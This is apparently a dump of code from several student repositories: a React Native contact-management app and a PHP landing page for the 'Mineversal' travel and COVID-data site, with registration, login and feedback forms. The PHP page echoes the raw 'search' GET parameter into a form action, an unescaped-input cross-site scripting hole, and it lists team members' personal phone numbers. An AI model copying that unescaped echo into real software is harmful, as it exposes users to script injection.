// Примечание: Событие Session_End вызывается только в том случае, если для режима sessionstate
// задано значение InProc в файле Web.config. Если для режима сеанса задано значение StateServer
// или SQLServer, событие не порождается.
}
}
}
| 0e1459fccf15cba42a5430ac0357d2806e02e609 | [
"JavaScript",
"C#"
] | 7 | C# | mailup/rest-samples-csharp | d6815df3486856197919033e2cc045f846fd750a | 4169b9e3d32389dfaceda09341743e989710480f |
refs/heads/master | <file_sep># callme
React-Native call application.
This is Homework Practice
This app can add users in queue and author can call , message , edit and delete exist users
clone and do install npm by:
npm install && run project.
react-native run-android || run-ios
<file_sep>import React, { Component } from 'react'
import { Text, View, TouchableOpacity } from 'react-native'
export default class Calendar extends Component {
render() {
return (
<View style={{flex:1}}>
<View>
<TouchableOpacity>
<Text>
This is calender
</Text>
</TouchableOpacity>
</View>
</View>
)
}
}
<file_sep>import React, { Component } from 'react';
import {
createAppContainer,
createStackNavigator,
createDrawerNavigator
} from 'react-navigation'
import {Icon } from './screens/Components'
import { Dimensions } from 'react-native'
import AddNewContactScreen from './screens/AddNewContactScreen';
import EditContactScreen from './screens/EditContactScreen';
import HomeScreen from './screens/HomeScreen';
import ViewContactScreen from './screens/ViewContactScreen';
const WIDTH = Dimensions.get('window').width;
// This is unnecessary but we can create like this and call only DrawerConfig
const DrawerConfig = {
drawerWidth: WIDTH * 0.7,
contentComponent: ({ navigation }) => {
return (<HomeSwitchNav navigation={navigation} />)
}
}
const HomeSwitchNav = createStackNavigator(
{
Home: {
screen: HomeScreen,
},
addcontact: { screen: AddNewContactScreen },
editcontact: { screen: EditContactScreen },
viewcontact: { screen: ViewContactScreen },
},
{ initialRouteName: 'Home' },
)
export default createAppContainer(HomeSwitchNav)<file_sep>import React from "react";
import {
StyleSheet,
Text,
View,
TouchableOpacity,
Keyboard,
ScrollView,
TextInput,
Alert
} from "react-native";
import { Form, Item, Input, Label, Button } from "native-base";
import AsyncStorage from '@react-native-community/async-storage'
export default class EditContactScreen extends React.Component {
constructor(props) {
super(props);
this.state = {
fname: "",
lname: "",
phone: "",
email: "",
address: "",
key: ""
};
}
componentDidMount() {
const { navigation } = this.props;
navigation.addListener("willFocus", () => {
var key = this.props.navigation.getParam("key", "");
this.getContact(key);
});
}
getContact = async key => {
await AsyncStorage.getItem(key)
.then(contactJsonString => {
var contact = JSON.parse(contactJsonString);
//set key in this object
contact["key"] = key;
//set state
this.setState(contact);
})
.catch(error => {
console.log(error);
});
};
updateContact = async key => {
if (
this.state.fname !== "" &&
this.state.lname !== "" &&
this.state.phone !== "" &&
this.state.email !== "" &&
this.state.address !== ""
) {
var contact = {
fname: this.state.fname,
lname: this.state.lname,
phone: this.state.phone,
email: this.state.email,
address: this.state.address
};
await AsyncStorage.mergeItem(key, JSON.stringify(contact))
.then(() => {
this.props.navigation.goBack();
})
.catch(eror => {
console.log(error);
});
}
};
static navigationOptions = {
title: "Edit contact"
};
render() {
return (
<ScrollView keyboardDismissMode="on-drag" >
<View style={styles.container}>
<Text style={styles.inputText}>
Create an Account
</Text>
<TextInput
style={styles.text}
allowFontScaling={false}
placeholder="<NAME>"
underlineColorAndroid="transparent"
placeholderTextColor="#666"
keyboardType="default"
onChangeText={fname => this.setState({ fname })}
value={this.state.fname}
/>
<TextInput
style={styles.text}
allowFontScaling={false}
placeholder="<NAME>"
underlineColorAndroid="transparent"
placeholderTextColor="#666"
keyboardType="default"
onChangeText={lname => this.setState({ lname })}
value={this.state.lname}
/>
<TextInput
style={styles.text}
allowFontScaling={false}
placeholder="Phone"
underlineColorAndroid="transparent"
placeholderTextColor="#666"
keyboardType="numeric"
onChangeText={phone => this.setState({ phone })}
value={this.state.phone}
/>
<TextInput
style={styles.text}
allowFontScaling={false}
placeholder="Address"
underlineColorAndroid="transparent"
placeholderTextColor="#666"
keyboardType="default"
onChangeText={address => this.setState({ address })}
value={this.state.address}
/>
<TextInput
style={styles.text}
allowFontScaling={false}
placeholder="Email"
underlineColorAndroid="transparent"
placeholderTextColor="#666"
keyboardType="email-address"
onChangeText={email => this.setState({ email })}
value={this.state.email}
/>
<TouchableOpacity
onPress={() => {
this.updateContact(this.state.key)
}}
style={styles._signup}>
<Text style={{ color: '#FFF' }}>
Update
</Text>
</TouchableOpacity>
</View>
</ScrollView>
)
}
}
const styles = StyleSheet.create({
container: {
alignItems: "center",
justifyContent: "center",
marginTop: 50
},
text: {
paddingHorizontal: 10,
color: '#333',
fontSize: 14,
fontWeight: '300',
paddingVertical: 10,
borderWidth: 1,
width: 250,
height: 45,
borderRadius: 5,
marginTop: 15
},
inputText: {
fontSize: 20,
color: 'red',
alignItems: 'center',
},
_signup: {
backgroundColor: "red",
marginRight: 20,
marginTop: 20,
borderRadius: 5,
width: 130,
padding: 5,
height: 30,
alignItems: 'center'
},
_termsCondition: {
},
_linkText: {
color: 'red'
}
})<file_sep>import React, { Component } from 'react';
import { View, Text, ScrollView, TextInput, Alert, Keyboard, StyleSheet, TouchableOpacity, TouchableWithoutFeedback } from 'react-native';
//Look documentation for this
import AsyncStorage from '@react-native-community/async-storage';
import { Icon } from '../screens/Components'
export default class AddNewContactScreen extends Component {
static navigationOptions = ({ navigation }) => {
return {
headerTitle: <View style={{ alignItems: 'center', marginLeft: 10, flexDirection: 'row' }}>
<View style={{ marginRight: 10 }}>
<Icon name="person-add" size={28} color="#2C3335" />
</View>
<Text style={{ fontSize: 28, fontWeight: 'bold' }}>
Add Contact
</Text>
</View>,
headerRight: (
<TouchableOpacity style={{ marginRight: 20 }} onPress={() => { Alert.alert("Features will be added") }}>
<Icon name="more" size={29} />
</TouchableOpacity>
),
headerStyle: {
backgroundColor: '#AE1438',
},
}
}
constructor(props) {
super(props);
this.state = {
fname: '',
lname: '',
phone: '',
email: '',
address: '',
password:'',
hidePassword: true
};
}
managePasswordVisibility = () => {
this.setState({ hidePassword: !this.state.hidePassword });
}
clearPassword = () => {
this.setState({fname: '' });
// Alert.alert("hey you")
}
saveContact = async () => {
if (this.state.fname !== '' &&
this.state.lname !== '' &&
this.state.phone !== '' &&
this.state.email !== '' &&
this.state.address !== '') {
var contact = {
fname: this.state.fname,
lname: this.state.lname,
phone: this.state.phone,
email: this.state.email,
address: this.state.address
}
await AsyncStorage.setItem(Date.now().toString(),
JSON.stringify(contact))
.then(() => {
this.props.navigation.goBack();
// this.props.navigation.navigate('viewcontact')
})
.catch(error => {
console.log(error)
})
}
else {
Alert.alert("All field are required")
}
}
render() {
return (
// <TouchableWithoutFeedback onPress={() => { Keyboard.dismiss }}>
<View style={{ flex: 1 }}>
<ScrollView keyboardDismissMode="on-drag" >
<View style={styles.container}>
<Text style={styles.inputText}>
Create an Account
</Text>
<TextInput
style={styles.text}
allowFontScaling={false}
placeholder="<NAME>"
underlineColorAndroid="transparent"
placeholderTextColor="#666"
keyboardType="default"
clearButtonMode="always"
onChangeText={name => this.setState({ fname:name })}
/>
{/* <TouchableOpacity onPress={console.log("hell yeah")} style={{marginTop:20}}>
<Text>
clear name
</Text>
</TouchableOpacity> */}
<TextInput
style={styles.text}
allowFontScaling={false}
placeholder="<NAME>"
underlineColorAndroid="transparent"
placeholderTextColor="#666"
keyboardType="default"
onChangeText={lname => this.setState({ lname })}
/>
<TextInput
style={styles.text}
allowFontScaling={false}
placeholder="Phone"
underlineColorAndroid="transparent"
placeholderTextColor="#666"
keyboardType="numeric"
onChangeText={phone => this.setState({ phone })}
/>
<TextInput
style={styles.text}
allowFontScaling={false}
placeholder="Address"
underlineColorAndroid="transparent"
placeholderTextColor="#666"
keyboardType="default"
onChangeText={address => this.setState({ address })}
/>
<TextInput
style={styles.text}
allowFontScaling={false}
placeholder="Email"
underlineColorAndroid="transparent"
placeholderTextColor="#666"
keyboardType="email-address"
onChangeText={email => this.setState({ email })}
/>
<TouchableOpacity
onPress={() => {
// saveContact() : Promise <void>
this.saveContact();
}}
style={styles._signup}>
<Text style={{ color: '#FFF' }}>
Submit
</Text>
</TouchableOpacity>
</View>
</ScrollView>
{/* <View style={{bottom:0, alignSelf:'auto', marginTop: 20, alignItems: 'center', justifyContent: 'center' }} >
<Text>
This is Optional
</Text>
<TextInput
style={styles.text}
allowFontScaling={false}
placeholder="password"
underlineColorAndroid="transparent"
placeholderTextColor="#666"
secureTextEntry = { this.state.hidePassword }
onChangeText={password => this.setState({ password })}
/>
<View>
<TouchableOpacity onPress={this.managePasswordVisibility}
style={{ height: 25, justifyContent: 'center', alignItems: "center", backgroundColor:'red', marginVertical:10 }} >
<Text>
Show password
</Text>
</TouchableOpacity>
</View>
</View> */}
</View>
)}
}
const styles = StyleSheet.create({
container: {
alignItems: "center",
justifyContent: "center",
marginTop: 50
},
text: {
paddingHorizontal: 10,
color: '#333',
fontSize: 14,
fontWeight: '300',
paddingVertical: 10,
borderWidth: 1,
width: 250,
height: 45,
borderRadius: 5,
marginTop: 15,
flexDirection: 'row',
},
inputText: {
fontSize: 20,
color: 'red',
alignItems: 'center',
},
_signup: {
backgroundColor: "red",
marginRight: 20,
marginTop: 20,
borderRadius: 5,
width: 130,
padding: 5,
height: 30,
alignItems: 'center',
justifyContent: 'center'
},
_termsCondition: {
},
_linkText: {
color: 'red'
}
})<file_sep>// Api concept
// make state
import React, { Component } from 'react';
import { View, Text, TouchableOpacity, FlatList, ActivityIndicator, Image, } from 'react-native';
export default class UserDetails extends Component {
constructor(props) {
super(props);
this.state = {
isLoading: true,
dataSource: []
};
}
getUserFromApi = () => {
return fetch('https://randomuser.me/api/?results=50')
.then(response => response.json())
.then(responseJson => {
this.setState({
isLoading: false,
dataSource: this.state.dataSource.concat(responseJson.results)
});
})
.catch(error => console.log(error))
};
// optional , can be use in flatlist:
_keyExtractor = (datasource, index) => datasource.email;
componentDidMount() {
this.getUserFromApi();
}
render() {
if (this.state.isLoading) {
return (
<View style={{ flex: 1, justifyContent: 'center', alignItems: "center" }}>
<ActivityIndicator size='large' color="red" />
</View>
)
}
return (
<View style={{ flex: 1 }}>
<View style={{ justifyContent: "center", alignItems: "center", }}>
<Text style={{ fontSize: 24, fontWeight: "bold" }}>
API CONCEPT
</Text>
</View>
<FlatList
data={this.state.dataSource}
keyExtractor={this._keyExtractor}
renderItem={({ item }) => (
<TouchableOpacity style={{ flexDirection: 'row', paddingHorizontal: 10, borderWidth: 1 }}>
<View style={{padding:5}}>
<Image
source={{ uri: item.picture.large }}
style={{ height: 150, width: 150 }}
/>
</View>
<View style={{paddingVertical:4}}>
<Text>
Name: {item.name.title} {item.name.first} {item.name.last}
</Text>
<Text>Email: {item.email}</Text>
<Text>City: {item.location.city}</Text>
<Text>Phone: {item.phone}</Text>
<Text> </Text>
</View>
</TouchableOpacity>
)}
/>
</View>
);
}
}
<file_sep>import {
StyleSheet
} from 'react-native'
// ************ Home Screen *******************************
const HomeScreenStyles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: "#fff"
},
listItem: {
flexDirection: "row",
padding: 20
},
iconContainer: {
width: 50,
height: 50,
alignItems: "center",
justifyContent: "center",
backgroundColor: "#B83227",
borderRadius: 100
},
contactIcon: {
fontSize: 28,
color: "#fff"
},
infoContainer: {
flexDirection: "column"
},
infoText: {
fontSize: 16,
fontWeight: "400",
paddingLeft: 10,
paddingTop: 2
},
floatButton: {
borderWidth: 1,
borderColor: "rgba(0,0,0,0.2)",
alignItems: "center",
justifyContent: "center",
width: 60,
position: "absolute",
bottom: 10,
right: 10,
height: 60,
backgroundColor: "#B83227",
borderRadius: 100
}
});
// ************ Home Screen *******************************
// ************ Add New Contact Screen *******************************
const AddContactStyles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: "#fff",
margin: 10,
height: 500
},
inputItem: {
margin: 10
},
button: {
backgroundColor: "#B83227",
marginTop: 40
},
buttonText: {
color: "#fff",
fontWeight: "bold"
},
empty: {
height: 500,
backgroundColor: "#FFF"
}
});
// ************ Add New Contact Screen *******************************
// ************ View Contact Screen *******************************
const ViewContactStyles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: "#fff"
},
contactIconContainer: {
height: 200,
backgroundColor: "#B83227",
alignItems: "center",
justifyContent: "center"
},
contactIcon: {
fontSize: 100,
fontWeight: "bold",
color: "#fff"
},
nameContainer: {
width: "100%",
height: 70,
padding: 10,
backgroundColor: "rgba(255,255,255,0.5)",
justifyContent: "center",
position: "absolute",
bottom: 0
},
name: {
fontSize: 24,
color: "#000",
fontWeight: "900"
},
infoText: {
fontSize: 18,
fontWeight: "300"
},
actionContainer: {
flexDirection: "row"
},
actionButton: {
flex: 1,
justifyContent: "center",
alignItems: "center"
},
actionText: {
color: "#B83227",
fontWeight: "900"
}
});
// ************ View Contact Screen *******************************
// ************ Edit Contact Screen *******************************
const EditContactStyles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: "#fff",
margin: 10
},
inputItem: {
margin: 10
},
button: {
backgroundColor: "#B83227",
marginTop: 40
},
buttonText: {
color: "#fff",
fontWeight: "bold"
}
});
// ************ Edit Contact Screen *******************************
export default HomeScreenStyles; | 9175e54d51ee77948dae30dc4da2f7e659902cca | [
"Markdown",
"JavaScript"
] | 7 | Markdown | rmsparajuli/callme | 39a348f26450aa0e2322fdd8b58b0806dffeda7a | e9b73fce8cf8a75cb57cfd232f4ede53c736d2e6 |
refs/heads/main | <repo_name>Mineversal/First-Website<file_sep>/index.php
<?php
if(!isset($_SESSION)) {
session_start();
}
require_once("admin/config.php");
if(isset($_SESSION["user"])) {
header('Location: '.$uri.'/user/');
}
if(isset($_POST['register'])){
$name = filter_input(INPUT_POST, 'name', FILTER_SANITIZE_STRING);
$username = strtolower(stripslashes(filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING)));
$password = password_hash($_POST["password"], PASSWORD_DEFAULT);
$konf_password = password_hash($_POST["konf_password"], PASSWORD_DEFAULT);
$email = strtolower(stripslashes(filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL)));
$sql = "SELECT * FROM user WHERE username=:username OR email=:email";
$stmt = $db->prepare($sql);
$params = array(
":username" => $username,
":email" => $email
);
$stmt->execute($params);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
if ($user) {
$error_same = "Silahkan Gunakan Username atau email yang lain";
} else {
if (($_POST["password"]) != ($_POST["konf_password"])) {
$error_conf_psw = "Silahkan Masukkan Password dan Konfirmasi Password Yang Sama";
} else {
$sql = "INSERT INTO user (name, username, email, password) VALUES (:name, :username, :email, :password)";
$stmt = $db->prepare($sql);
$params = array(":name" => $name, ":username" => $username, ":password" => $password, ":email" => $email);
$saved = $stmt->execute($params);
if($saved) {
$msg_reg = "Silahkan Login!";
} else {
$error_reg = "Sepertinya ada yang salah, silahkan coba lagi.";
}
}
}
}
if(isset($_POST['login'])){
$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
$password = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);
$sql = "SELECT * FROM user WHERE username=:username OR email=:email";
$stmt = $db->prepare($sql);
$params = array(
":username" => $username,
":email" => $username
);
$stmt->execute($params);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
if($user){
if(password_verify($password, $user["password"])){
session_start();
$_SESSION["user"] = $user;
header('Location: '.$uri.'/user/');
} else {
$error_log = "Silahkan Login Ulang";
}
} else {
$error_not_user = "Silahkan Register jika belum punya Akun";
}
}
if(isset($_POST['ks'])){
$name = filter_input(INPUT_POST, 'nama', FILTER_SANITIZE_STRING);
$feedback = filter_input(INPUT_POST, 'feedback', FILTER_SANITIZE_STRING);
$rating = filter_input(INPUT_POST, 'rating', FILTER_SANITIZE_STRING);
$sql = "INSERT INTO feedback (name, feedback, rating) VALUES (:name, :feedback, :rating)";
$stmt = $db->prepare($sql);
$params = array(
":name" => $name,
":feedback" => $feedback,
":rating" => $rating
);
$saved = $stmt->execute($params);
if($saved) {
$msg_ks = "Kritik dan Saranmu Sangat Penting untuk Pengembangan Web Kami!";
} else {
$error_ks = "Sepertinya ada yang salah, silahkan coba lagi.";
};
}
?>
<!DOCTYPE html>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<link rel="stylesheet" href="user/assets/css/index.css" type="text/css"/>
<link rel="stylesheet" href="user/framework/css/bootstrap.min.css"/>
<link href='https://fonts.googleapis.com/css?family=Alegreya' rel='stylesheet'>
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
<head>
<link rel="stylesheet" href="user/assets/css/style.css">
<script src="user/framework/js/jquery-3.5.1.slim.min.js" type="text/JavaScript"></script>
<script src="user/framework/js/owl.carousel.min.js"></script>
<link rel="stylesheet" href="user/framework/css/owl.carousel.min.css">
<link rel="shortcut icon" href="user/assets/img/logo1.png"/>
<title>Mineversal</title>
<style>
html {
scroll-behavior: smooth;
}
body {
font-family: 'Alegreya';
font-size: 18px;
}
hr, #line {
border: 1px solid #333;
margin-bottom: 25px;
}
.bg-image {
box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2);
height: 22.5%;
background: linear-gradient(rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0.5)), url(./user/assets/img/bg3.jpg) no-repeat;
background-position: center;
background-size: cover;
position: relative;
}
.main-container .main hr, .profile hr {
color: white;
border-color: white;
}
#slider {
z-index: 0;
}
</style>
</head>
<body>
<header id="bar" class="barheader">
<nav class="nav navbar navbar-expand-lg navbar-dark" id="nav-custom">
<div class="container-fluid">
<a class="navbar-brand" href="#"><img class="my-auto" src="https://tugas.mineversal.com/user/assets/img/logo.png" width="200px"></a>
<button class="navbar-toggler navbar-toggler-right navbar-toggler-size" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item my-auto buttonbar active">
<a href="#home" class="nav-link"><i class="fa fa-fw fa-home"></i> HOME</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="#online" class="nav-link"><i class="fa fa-fw fa-globe"></i> TRAVELLING</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="#data" class="nav-link"><i class="fa fa-fw fa-folder"></i> COVID-19 DATA</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="#aboutus" class="nav-link"><i class="fa fa-fw fa-user"></i> ABOUT US</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="#contact" class="nav-link"><i class="fa fa-fw fa-envelope"></i> CONTACT</a>
</li>
<li class="nav-item dropdown my-auto buttonbar active">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="fa fa-fw fa-search"></i> SEARCH
</a>
<div class="dropdown" aria-labelledby="navbarDropdown">
<form class="search-content" action="user/search?search=<?php echo $_GET['search'];?>" method="GET">
<div class="search dropdown-item">
<input type="text" placeholder="Search.." name="search">
<button type="submit"><i class="fa fa-search"></i></button>
</div>
</form>
</div>
</li>
<li class="nav-item my-auto buttonbar active">
<a class="nav-link" onclick="document.getElementById('signUp').style.display='block'" style="width:auto;"><i class="fa fa-fw fa-folder"></i> SIGN UP</a>
<div id="signUp" class="signup-bg">
<form class="signup-content animate text-left col-md-4 mx-auto" action="" method="POST">
<div class="signup-container">
<div class="signup-formcontainer">
<span onclick="document.getElementById('signUp').style.display='none'" class="close" title="Close Modal">×</span>
<h1>Sign Up</h1>
<p>Please fill in this form to create an account.</p>
</div>
<hr>
<label for="name"><b>Name</b></label>
<div class="input-container">
<i class="fa fa-user icon"></i>
<input type="text" placeholder="Enter Name" name="name" required>
</div>
<label for="uname"><b>Username</b></label>
<div class="input-container">
<i class="fa fa-user icon"></i>
<input type="text" placeholder="Enter Username" name="username" required>
</div>
<label for="email"><b>Email</b></label>
<div class="input-container">
<i class="fa fa-envelope icon"></i>
<input type="text" placeholder="Enter Email" name="email" required>
</div>
<label for="psw"><b>Password</b></label>
<div class="input-container">
<i class="fa fa-key icon"></i>
<input type="<PASSWORD>" placeholder="Enter Password" name="password" required>
</div>
<label for="psw-repeat"><b>Repeat Password</b></label>
<div class="input-container">
<i class="fa fa-key icon"></i>
<input type="<PASSWORD>" placeholder="<PASSWORD>" name="<PASSWORD>" required>
</div>
<label>
<input type="checkbox" checked="checked" name="remember" style="margin-bottom:15px"> Remember me
</label>
<p>By creating an account you agree to our <a href="#" style="color:dodgerblue">Terms & Privacy</a>.</p>
<div class="clearfix">
<button type="button" onclick="document.getElementById('signUp').style.display='none'" class="cancelbtn">Cancel</button>
<button type="submit" class="signupbtn" name="register">Sign Up</button>
</div>
</div>
</form>
</div>
</li>
<li class="nav-item my-auto buttonbar active">
<a class="nav-link" onclick="document.getElementById('login').style.display='block'" style="width:auto;"><i class="fa fa-fw fa-user"></i> LOGIN</a>
<div id="login" class="login-bg">
<form class="login-content animate col-md-4 mx-auto text-left" method="POST" action="">
<div class="login-imgcontainer">
<span onclick="document.getElementById('login').style.display='none'" class="close" title="Close Modal">×</span>
<img src="user/assets/img/avatar.jpg" alt="Avatar" class="avatar">
</div>
<div class="login-container">
<label for="email"><b>Email or Username</b></label>
<div class="input-container">
<i class="fa fa-envelope icon"></i>
<input type="text" placeholder="Enter Email or Username" name="username" required>
</div>
<label for="psw"><b>Password</b></label>
<div class="input-container">
<i class="fa fa-key icon"></i>
<input type="<PASSWORD>" placeholder="Enter Password" name="<PASSWORD>" required>
</div>
<button class="submitlog-btn" type="submit" name="login">Login</button>
<label>
<input type="checkbox" checked="checked" name="remember"> Remember me
</label>
</div>
<div class="login-container" style="background-color:#f1f1f1">
<button type="button" onclick="document.getElementById('login').style.display='none'" class="cancelbtn">Cancel</button>
<span class="psw">Forgot <a href="#">password?</a></span>
</div>
</form>
</div>
</li>
</ul>
</div>
</div>
</nav>
</header>
<div class="slideshow-container" id="home">
<div class="slideshow">
<img src="user/assets/img/img1.jpg" style="width:100%">
<div class="imgtext">Milky Way Galaxy</div>
</div>
<div class="slideshow">
<img src="user/assets/img/img2.jpg" style="width:100%">
<div class="imgtext">Moon and Andromeda</div>
</div>
<div class="slideshow">
<img src="user/assets/img/img3.jpg" style="width:100%">
<div class="imgtext">The Moon</div>
</div>
</div>
<div class="header" id="online">
<?php if($error_same){ ?>
<div class="alert alert-danger" role="alert"><strong>Username dan Email sudah terdaftar!</strong> <?php echo htmlentities($error_same);?></div>
<?php } ?>
<?php if($msg_reg){ ?>
<div class="alert alert-success" role="alert"><strong>Data Kamu Berhasil Tersimpan!</strong> <?php echo htmlentities($msg_reg);?></div>
<?php } ?>
<?php if($error_reg){ ?>
<div class="alert alert-danger" role="alert"><strong>Yah Maaf!</strong> <?php echo htmlentities($error_reg);?></div>
<?php } ?>
<?php if($error_log){ ?>
<div class="alert alert-danger" role="alert"><strong>Password Salah!</strong> <?php echo htmlentities($error_log);?></div>
<?php } ?>
<?php if($error_conf_psw){ ?>
<div class="alert alert-danger" role="alert"><strong>Password dan Konfirmasi Password Tidak Sama!</strong> <?php echo htmlentities($error_conf_psw);?></div>
<?php } ?>
<?php if($error_not_user){ ?>
<div class="alert alert-danger" role="alert"><strong>Maaf Kamu tidak terdaftar!</strong> <?php echo htmlentities($error_not_user);?></div>
<?php } ?>
<?php if($msg_ks){ ?>
<div class="alert alert-success" role="alert"><strong>Terima Kasih Atas Kritik Sarannya!</strong> <?php echo htmlentities($msg_ks);?></div>
<?php } ?>
<?php if($error_ks){ ?>
<div class="alert alert-danger" role="alert"><strong>Yah Maaf!</strong> <?php echo htmlentities($error_ks);?></div>
<?php } ?>
<img id="project" src="user/assets/img/logo.png" alt="Logo" class="wordlogo mt-3">
<p><i>MINEVERSAL WITH YOU</i></p>
</div>
<div class="main-container">
<div class="main col-md-9 text-left">
<h2>ONLINE TRAVELLING</h2>
<p>STAY AT HOME AND ENJOY YOUR ONLINE TRAVELLING</p>
<hr>
<div class="row">
<div class="col-md-12">
<div id="slider" class="owl-carousel owl-theme slider">
<?php
include("user/config.php");
$query=mysqli_query($kon,"SELECT id as id, admin as admin, image, title as title FROM post WHERE post.Is_Active=1");
$rowcount=mysqli_num_rows($query);
if($rowcount==0){
?>
<div><h1>Tidak Ada Post</h1></div>
<?php
} else {
while($row = mysqli_fetch_array($query))
{
?>
<div class="card">
<div class="img"><img src="https://tugas.mineversal.com/admin/images/<?php echo htmlentities($row['image']);?>" alt="<?php echo htmlentities($row['title']);?>"></div>
<div class="content">
<div class="title"><?php echo htmlentities($row['title']);?></div>
<div class="sub-title"></div>
<p></p>
<div class="btn">
<a class="call" href="user/content?id=<?php echo htmlentities($row['id']);?>">Go To Page</a>
</div>
</div>
</div>
<?php } }?>
</div>
</div>
</div>
<h2 id="data" class="mt-3">COVID-19 DATA</h2>
<p>STAY HOME FOR YOUR SAFETY AND YOUR HEALTHY</p>
<hr>
<div class="row">
<div class ="col-md-4">
<div class="lesson-wrap mx-auto">
<a href="/user/worlddata" id="lesson-btn">
<div class="lesson-wrap-1">
<h1>WORLD</h1>
<p>WORLD COVID-19 DATA</p>
</div>
</a>
</div>
</div>
<div class ="col-md-4">
<div class="lesson-wrap">
<a href="/user/indonesiadata" id="lesson-btn">
<div class="lesson-wrap-1">
<h1>INDONESIA</h1>
<p>INDONESIA COVID-19 DATA</p>
</div>
</a>
</div>
</div>
<div class ="col-md-4">
<div class="lesson-wrap">
<a href="/user/provincedata" id="lesson-btn">
<div class="lesson-wrap-1">
<h1>PROVINCE</h1>
<p>PROVINCE COVID-19 DATA</p>
</div>
</a>
</div>
</div>
</div>
<br>
<h2 class="mt-3">HABIT TRACKER</h2>
<p>WRITE AND SCHEDULE YOUR ACTIVITY</p>
<hr>
<div class="bg-image row">
<div class="pict-text">
<a class="call" href="user/#habbit" style="width: 300px;">LIST HABBIT</a>
</div>
</div>
<br id="aboutus">
<h2 class="mt-3">ABOUT US</h2>
<p>EVERYTHING ABOUT MINEVERSAL</p>
<hr>
<p class="text-justify">Mineversal memiliki makna yaitu "Milik Bersama" karena ini merupakan Project
gabungan yang dibuat dan dikembangkan secara bersama-sama oleh satu tim berisikan 5 orang yaitu Zidan,
Ivana, Nadya, Azhar, dan Gading. Memiliki 3 Fitur Utama yaitu Online Travelling, COVID-19 DATA dan
Habbit Tracker. Terima Kasih, Silahkan Manfaatkan fitur yang ada di web kami. <a href="aboutus">
More About Us</a></p>
<h2 class="mt-5">FEEDBACK OUR SITE</h2>
<p>THANKS TO USING OUR SITE AND DON'T FORGET TO FILL FEEDBACK</p>
<hr>
<p class="text-justify">Terima Kasih telah menggunakan Web Kami..., Kami harap anda dapat mengisi form feedback dibawah ini
sebagai koreksi dan perbaikan pengembangan website kami untuk kedepannya, sering-sering berkunjung kesini ya xD<p>
<button class="buttonbar" onclick="document.getElementById('feedback').style.display='block'">FEEDBACK FORM</button>
<div id="feedback" class="feedback-bg">
<form class="feedback-content animate col-md-4 mx-auto" action="" method="POST">
<div class="feedback-container">
<div class="feedback-formcontainer">
<span onclick="document.getElementById('feedback').style.display='none'" class="close" title="Close Modal">×</span>
<h1>Feedback Form</h1>
<p>Please fill in this form</p>
</div>
<hr id="line">
<label for="name"><b>Nama</b></label>
<div class="input-container">
<i class="fa fa-user icon"></i>
<input type="text" placeholder="Enter Name" value="" name="nama" required>
</div>
<label for="Kritik"><b>Kritik dan Saran</b></label>
<div class="input-container">
<i class="fa fa-envelope icon"></i>
<textarea class="textarea" placeholder="Enter Feedback" name="feedback" value="" required></textarea>
</div>
<div class="row m-auto">
<fieldset class="rating float-left">
<legend>Rating Our Site</legend>
<input type="radio" id="star5" name="rating" value="5"><label for="star5" title="Rocks!">5 stars</label>
<input type="radio" id="star4" name="rating" value="4"><label for="star4" title="Pretty good">4 stars</label>
<input type="radio" id="star3" name="rating" value="3"><label for="star3" title="Meh">3 stars</label>
<input type="radio" id="star2" name="rating" value="2"><label for="star2" title="Kinda bad">2 stars</label>
<input type="radio" id="star1" name="rating" value="1"><label for="star1" title="Sucks big time">1 star</label>
</fieldset>
</div>
<div class="clearfix row m-auto">
<button type="button" onclick="document.getElementById('feedback').style.display='none'" class="cancelbtn col-6">Cancel</button>
<button type="submit" class="signupbtn col-6" name="ks">Send Feedback</button>
</div>
</div>
</form>
</div>
</div>
<div class="side col-md-3">
<article class="profile">
<h2>DEVELOPER TEAM</h2>
<hr>
<div id="kartu">
<img src="user/assets/img/nadya.jpeg" alt="Random Name" style="width:100%">
<h3 class="mt-3"><NAME></h3>
<p>As UI/UX Designer and Front End Developer</p>
<p><a class="call" href="https://instagram.com/amnndya">Contact</a></p>
</div>
<div id="kartu">
<img src="user/assets/img/ivana.png" alt="Random Name" style="width:100%">
<h3 class="mt-3"><NAME></h3>
<p>As Content Researcher and Front End Developer</p>
<p><a class="call" href="https://wa.me/+6281296932033">Contact</a></p>
</div>
<div id="kartu">
<img src="user/assets/img/azhar.jpg" alt="Random Name" style="width:100%">
<h3 class="mt-3"><NAME></h3>
<p>As Project Manager and Full Stack Developer</p>
<p><a class="call" href="https://wa.me/+6281317441991">Contact</a></p>
</div>
<div id="kartu">
<img src="user/assets/img/gading.jpeg" alt="Random Name" style="width:100%">
<h3 class="mt-3"><NAME></h3>
<p>As Data Researcher and Back End Developer</p>
<p><a class="call" href="https://wa.me/+6281294201579">Contact</a></p>
</div>
<div id="kartu">
<img src="user/assets/img/zidan.jpeg" alt="Random Name" style="width:100%">
<h3 class="mt-3"><NAME></h3>
<p>As Feature Inovator and Back End Developer</p>
<p><a class="call" href="https://wa.me/+6281906852062">Contact</a></p>
</div>
</article>
</div>
</div>
<div class="footer">
<div id="contact">
<h3 class="">Contact Us</h3>
